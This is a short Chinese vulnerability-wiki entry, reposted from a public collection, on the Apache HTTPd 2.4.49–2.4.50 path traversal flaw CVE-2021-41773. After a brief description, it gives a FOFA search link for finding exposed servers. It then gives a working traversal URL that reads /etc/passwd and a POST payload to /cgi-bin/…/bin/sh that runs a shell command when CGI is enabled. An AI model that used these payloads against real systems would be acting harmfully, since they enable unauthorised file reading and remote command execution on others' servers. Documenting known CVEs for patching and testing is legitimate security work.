Apache HTTPd 路径穿越漏洞 CVE-2021-41773
title: Apache HTTPd 路径穿越漏洞 CVE-2021-41773
Apache HTTPd 路径穿越漏洞 CVE-2021-41773
漏洞描述
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.49~2.4.50-本中存在一个漏洞,可读取服务器中的任意文件
漏洞影响
Apache HTTPd 2.4.49~2.4.50版本
网络测绘
<a-button href="https://fofa.info/result?qbase64=c2VydmVyPSJBcGFjaGUvMi40LjQ5IiA%3D">server="Apache/2.4.49" </a-button>
漏洞复现
通过响应包获取 Apache版本

验证POC
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

开启CGI的情况下可RCE
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
B=|id>/tmp/id_txt
参考来源:PeiQi-WIKI-Book:https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/f4596359a8b7b31ae4d231eeaec711706b892ed2/docs/wiki/webserver/Apache/Apache HTTPd 路径穿越漏洞 CVE-2021-42013.md;原文完整保留。项目要求转载保留版权声明,未经许可不得修改或商用;多篇来源于第三方,权利待核查。